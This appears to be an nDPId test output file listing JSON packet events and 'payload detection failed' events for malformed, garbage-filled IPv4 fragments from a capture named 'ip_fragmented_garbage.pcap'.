+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220216,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220251,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220263,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220458,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 